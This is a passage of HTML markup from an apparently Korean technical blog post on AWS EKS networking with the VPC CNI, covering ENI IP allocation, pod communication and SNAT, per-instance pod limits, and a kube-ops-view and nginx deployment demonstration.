&lt;li&gt;특정한 파드(kube-proxy, aws-node)는 호스트(Root)의 IP를 그대로 사용합니다. &lt;b&gt;(HostNetwork: true 설정)&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;t3.medium의 경우 ENI마다 최대 6개의 IP를 가질 수 있습니다.&lt;/li&gt;
&lt;li&gt;ENI0, ENI1 으로 2개의 ENI는 자신의 IP 이외에 추가적으로 5개의 보조 프라이빗 IP를 가질 수 있습니다.&lt;/li&gt;
&lt;li&gt;coredns 파드는 veth으로 호스트에는 eniY@ifN 인터페이스와 파드에 eth0과 연결되어 있습니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 확인해보면 워커노드 1에는 ENI 2개가 구성되어 있고, 보조 프라이빗 IP가 총 10개 할당되어 있는 것을 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-14 at 8.45.08 PM.png&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;868&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Kno4z/btsFMtBX5iA/yJEfSAZ1wQMClkr5DT3Pdk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Kno4z/btsFMtBX5iA/yJEfSAZ1wQMClkr5DT3Pdk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Kno4z/btsFMtBX5iA/yJEfSAZ1wQMClkr5DT3Pdk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKno4z%2FbtsFMtBX5iA%2FyJEfSAZ1wQMClkr5DT3Pdk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1914&quot; height=&quot;868&quot; data-filename=&quot;Screenshot 2024-03-14 at 8.45.08 PM.png&quot; data-origin-width=&quot;1914&quot; data-origin-height=&quot;868&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 새로운 파드가 생성되면 &lt;span data-token-index=&quot;1&quot;&gt;워커 노드에&lt;/span&gt;&amp;nbsp;&lt;span data-token-index=&quot;3&quot;&gt;eniY@ifN가 추가되어 새로운&amp;nbsp;&lt;/span&gt;veth가 생성되고 라우팅 테이블에도 해당 정보가 추가됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-14 at 8.59.01 PM.png&quot; data-origin-width=&quot;2280&quot; data-origin-height=&quot;908&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ZFRSE/btsFNlQLZZC/l8T2LhHetMVmXNkFjYjKS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ZFRSE/btsFNlQLZZC/l8T2LhHetMVmXNkFjYjKS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ZFRSE/btsFNlQLZZC/l8T2LhHetMVmXNkFjYjKS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FZFRSE%2FbtsFNlQLZZC%2Fl8T2LhHetMVmXNkFjYjKS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2280&quot; height=&quot;908&quot; data-filename=&quot;Screenshot 2024-03-14 at 8.59.01 PM.png&quot; data-origin-width=&quot;2280&quot; data-origin-height=&quot;908&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;노드 간의 파드 통신&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS VPC CNI 경우 별도의 &lt;span style=&quot;color: #333333;&quot;&gt;오버레이(Overlay&lt;/span&gt;) 통신 기술 없이, VPC Native하게 파드 간 직접 통신이 가능합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled444.png&quot; data-origin-width=&quot;1576&quot; data-origin-height=&quot;648&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Au3wy/btsFOE28WpE/Ab9paQ8O6g70IwS8rr5XK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Au3wy/btsFOE28WpE/Ab9paQ8O6g70IwS8rr5XK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Au3wy/btsFOE28WpE/Ab9paQ8O6g70IwS8rr5XK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAu3wy%2FbtsFOE28WpE%2FAb9paQ8O6g70IwS8rr5XK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1576&quot; height=&quot;648&quot; data-filename=&quot;Untitled444.png&quot; data-origin-width=&quot;1576&quot; data-origin-height=&quot;648&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled555.png&quot; data-origin-width=&quot;1810&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxL3ri/btsFPe363Y2/NReIKR0mi3gj46kOgDrQik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxL3ri/btsFPe363Y2/NReIKR0mi3gj46kOgDrQik/img.png&quot; data-alt=&quot;출처 :https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/cni-proposal.md&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxL3ri/btsFPe363Y2/NReIKR0mi3gj46kOgDrQik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxL3ri%2FbtsFPe363Y2%2FNReIKR0mi3gj46kOgDrQik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1810&quot; height=&quot;395&quot; data-filename=&quot;Untitled555.png&quot; data-origin-width=&quot;1810&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;출처 :https://github.com/aws/amazon-vpc-cni-k8s/blob/master/docs/cni-proposal.md&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서, 파드 간 통신 시 별도의 NAT동작 없이 직접 통신하는 모습을 tcpdump로 확인해볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-14 at 9.07.59 PM.png&quot; data-origin-width=&quot;1518&quot; data-origin-height=&quot;394&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/K2WmJ/btsFLU0S9a1/uSxHwnDFRkbyKAkHJckOO0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/K2WmJ/btsFLU0S9a1/uSxHwnDFRkbyKAkHJckOO0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/K2WmJ/btsFLU0S9a1/uSxHwnDFRkbyKAkHJckOO0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FK2WmJ%2FbtsFLU0S9a1%2FuSxHwnDFRkbyKAkHJckOO0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1518&quot; height=&quot;394&quot; data-filename=&quot;Screenshot 2024-03-14 at 9.07.59 PM.png&quot; data-origin-width=&quot;1518&quot; data-origin-height=&quot;394&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;파드에서의 외부 통신&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;b&gt;SNAT&lt;/b&gt;(Source Network Address Translation): 패킷의 출발지 주소를 변경하는 NAT이며, 1:N 상황의 NAT(공용 서비스로의 Outbound) 일 때 사용됩니다.&lt;br /&gt;&lt;b&gt;DNAT&lt;/b&gt;(Destination Network Address Translation) : 패킷의 목적지 주소를 변경하는 NAT이며, 주로 공인 IP에서 내부 서버로의 포트 전달에 사용됩니다.&lt;/blockquote&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;599&quot; data-origin-height=&quot;208&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tA8Oc/btsFPd5jR0M/LTZ7yZMVZIZFSQ1M2xGWDK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tA8Oc/btsFPd5jR0M/LTZ7yZMVZIZFSQ1M2xGWDK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tA8Oc/btsFPd5jR0M/LTZ7yZMVZIZFSQ1M2xGWDK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtA8Oc%2FbtsFPd5jR0M%2FLTZ7yZMVZIZFSQ1M2xGWDK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;599&quot; height=&quot;208&quot; data-origin-width=&quot;599&quot; data-origin-height=&quot;208&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AWS VPC CNI은 외부 통신 시 iptable의 SNAT을 통하여 노드의 eth0 IP로 변경되어 통신합니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled666.png&quot; data-origin-width=&quot;1453&quot; data-origin-height=&quot;464&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IQnpz/btsFNo02wiV/oleopkdDtqBAzkNcPRVRaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IQnpz/btsFNo02wiV/oleopkdDtqBAzkNcPRVRaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IQnpz/btsFNo02wiV/oleopkdDtqBAzkNcPRVRaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIQnpz%2FbtsFNo02wiV%2FoleopkdDtqBAzkNcPRVRaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1453&quot; height=&quot;464&quot; data-filename=&quot;Untitled666.png&quot; data-origin-width=&quot;1453&quot; data-origin-height=&quot;464&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드 외부와의 통신 시 SNAT되어 통신하는 모습을 tcpdump로 확인해볼 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Screenshot 2024-03-14 at 9.21.07 PM.png&quot; data-origin-width=&quot;1566&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dWq8Un/btsFMPSgYK2/uY6hbCkUuR4yVIREQ4NtjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dWq8Un/btsFMPSgYK2/uY6hbCkUuR4yVIREQ4NtjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dWq8Un/btsFMPSgYK2/uY6hbCkUuR4yVIREQ4NtjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdWq8Un%2FbtsFMPSgYK2%2FuY6hbCkUuR4yVIREQ4NtjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1566&quot; height=&quot;244&quot; data-filename=&quot;Screenshot 2024-03-14 at 9.21.07 PM.png&quot; data-origin-width=&quot;1566&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드의 공인 IP와 배치된 노드의 공인 IP가 같으면 파드가 외부랑 통신할 때 노드의 유동 공인 IP로 SNAT된다는 것을 알 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cFWhFU/btsFM8RHn9f/V53hvVzCSdMB9dkN0OZK41/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;2448&quot; data-origin-height=&quot;774&quot; data-filename=&quot;Screenshot 2024-03-15 at 2.34.33 AM.png&quot; /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;노드의 파드 생성 개수 제한&lt;/h4&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;kube-ops-view : 노드의 파드 상태 정보를 웹 페이지에서 실시간으로 출력해줍니다.&lt;/blockquote&gt;
&lt;figure id=&quot;og_1710485886717&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;kube-ops-view 1.2.2 &amp;middot; funkypenguin/geek-cookbook&quot; data-og-description=&quot;A read-only system dashboard for multiple K8s clusters&quot; data-og-host=&quot;artifacthub.io&quot; data-og-source-url=&quot;https://artifacthub.io/packages/helm/geek-cookbook/kube-ops-view&quot; data-og-url=&quot;https://artifacthub.io/packages/helm/geek-cookbook/kube-ops-view&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dn74Xh/hyVANwnoHP/IaHmGdObTiNXpAj5Uo7ybk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://artifacthub.io/packages/helm/geek-cookbook/kube-ops-view&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://artifacthub.io/packages/helm/geek-cookbook/kube-ops-view&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dn74Xh/hyVANwnoHP/IaHmGdObTiNXpAj5Uo7ybk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;kube-ops-view 1.2.2 &amp;middot; funkypenguin/geek-cookbook&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;A read-only system dashboard for multiple K8s clusters&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;artifacthub.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;pre id=&quot;code_1710485908032&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 설치
helm repo add geek-cookbook https://geek-cookbook.github.io/charts/
helm install kube-ops-view geek-cookbook/kube-ops-view --version 1.2.2 --set env.TZ=&quot;Asia/Seoul&quot; --namespace kube-system
kubectl patch svc -n kube-system kube-ops-view -p '{&quot;spec&quot;:{&quot;type&quot;:&quot;LoadBalancer&quot;}}'
kubectl annotate service kube-ops-view -n kube-system &quot;external-dns.alpha.kubernetes.io/hostname=kubeopsview.$MyDomain&quot;

# 접속 주소 확인 : 각각 1배, 1.5배, 3배 크기
echo -e &quot;Kube Ops View URL = http://kubeopsview.$MyDomain:8080&quot;
echo -e &quot;Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=1.5&quot;
echo -e &quot;Kube Ops View URL = http://kubeopsview.$MyDomain:8080/#scale=3.0&quot;

# kube-ops-view 접속 URL 확인 (1.5 배율)
kubectl get svc -n kube-system kube-ops-view -o jsonpath={.status.loadBalancer.ingress[0].hostname} | awk '{ print &quot;KUBE-OPS-VIEW URL = http://&quot;$1&quot;:8080/#scale=1.5&quot;}'&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;URL로 접속해보면 실시간 화면으로 파드가 배정된 노드를 확인할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-15 오후 4.25.19.png&quot; data-origin-width=&quot;574&quot; data-origin-height=&quot;283&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjk1oC/btsFNoHEyiy/ftXmHK0z8wLj9KAaLllkd1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjk1oC/btsFNoHEyiy/ftXmHK0z8wLj9KAaLllkd1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjk1oC/btsFNoHEyiy/ftXmHK0z8wLj9KAaLllkd1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbjk1oC%2FbtsFNoHEyiy%2FftXmHK0z8wLj9KAaLllkd1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;574&quot; height=&quot;283&quot; data-filename=&quot;스크린샷 2024-03-15 오후 4.25.19.png&quot; data-origin-width=&quot;574&quot; data-origin-height=&quot;283&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; 워커 노드의 인스턴스 타입별로 파드 생성 개수가 제한됩니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;인스턴스 타입&lt;/b&gt;별 ENI 최대 개수와 할당 가능한 최대 IP 개수에 따라 파드 배치 개수가 결정됩니다.&lt;/li&gt;
&lt;li&gt;aws-node 와 kube-proxy 파드는 호스트의 IP를 사용하므로 최대 개수에서 제외됩니다.&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;background-color: #fcfcfc; color: #666666; text-align: left;&quot;&gt;(Number of network interfaces for the instance type &amp;times; (the number of IP addressess per network interface - 1)) + 2&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled333.png&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;787&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dh9m9g/btsFN58UQBK/CdnLwNtB9lWr7ezVTQbog0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dh9m9g/btsFN58UQBK/CdnLwNtB9lWr7ezVTQbog0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dh9m9g/btsFN58UQBK/CdnLwNtB9lWr7ezVTQbog0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdh9m9g%2FbtsFN58UQBK%2FCdnLwNtB9lWr7ezVTQbog0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;932&quot; height=&quot;787&quot; data-filename=&quot;Untitled333.png&quot; data-origin-width=&quot;932&quot; data-origin-height=&quot;787&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 EKS Cluster에서 생성 가능한 최대 파드 개수를 알아보기 위해 임의의 디플로이먼트를 생성합니다.&lt;/p&gt;
&lt;pre id=&quot;code_1710489070000&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 디플로이먼트 생성
curl -s -O https://raw.githubusercontent.com/gasida/PKOS/main/2/nginx-dp.yaml
kubectl apply -f nginx-dp.yaml&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생성된 파드들은 뷰의 위쪽에 자리잡게 됩니다. 아래쪽에 자리잡은 파드들은 kube-system 네임스페이스에 존재하는 파드들입니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-15 오후 4.49.37.png&quot; data-origin-width=&quot;560&quot; data-origin-height=&quot;269&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tLXHX/btsFNvGWcfL/u0rWqvefDeKsgCbuzek0ZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tLXHX/btsFNvGWcfL/u0rWqvefDeKsgCbuzek0ZK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tLXHX/btsFNvGWcfL/u0rWqvefDeKsgCbuzek0ZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtLXHX%2FbtsFNvGWcfL%2Fu0rWqvefDeKsgCbuzek0ZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;560&quot; height=&quot;269&quot; data-filename=&quot;스크린샷 2024-03-15 오후 4.49.37.png&quot; data-origin-width=&quot;560&quot; data-origin-height=&quot;269&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 배포된 파드들은 워커 노드 안에 배치되게 되지만 파드의 최대 개수를 초과하여 Pending된 파드들은 노드들에 배치되지 못한 모습을 실시간으로 확인할 수 있습니다. 파드가 늘어남에 따라 ENI의 개수도 함께 증가되어 사용가능한 보조 IP가 늘어나게 되며, 파드가 삭제되면 ENI의 개수도 자동으로 줄어듭니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2024-03-15 오후 4.57.01.png&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;272&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/nlNIQ/btsFNlRKGyt/mTyPdlI3vPZ1n0oOGJrap1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/nlNIQ/btsFNlRKGyt/mTyPdlI3vPZ1n0oOGJrap1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/nlNIQ/btsFNlRKGyt/mTyPdlI3vPZ1n0oOGJrap1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FnlNIQ%2FbtsFNlRKGyt%2FmTyPdlI3vPZ1n0oOGJrap1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;776&quot; height=&quot;272&quot; data-filename=&quot;스크린샷 2024-03-15 오후 4.57.01.png&quot; data-origin-width=&quot;776&quot; data-origin-height=&quot;272&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파드의 최대 개수를 늘리려면 &lt;span style=&quot;color: #d44c47;&quot; data-token-index=&quot;0&quot;&gt;Prefix Delegation, WARM &amp;amp; MIN IP/Prefix Targets, Custom Network&lt;span style=&quot;color: #333333;&quot;&gt;의 해결방법이 존재합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;780&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ck1F2x/btsFP6TaVZa/Z745ldJJIJU8QjnJRC4AAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ck1F2x/btsFP6TaVZa/Z745ldJJIJU8QjnJRC4AAk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ck1F2x/btsFP6TaVZa/Z745ldJJIJU8QjnJRC4AAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fck1F2x%2FbtsFP6TaVZa%2FZ745ldJJIJU8QjnJRC4AAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;937&quot; height=&quot;780&quot; data-filename=&quot;Untitled.png&quot; data-origin-width=&quot;937&quot; data-origin-height=&quot;780&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
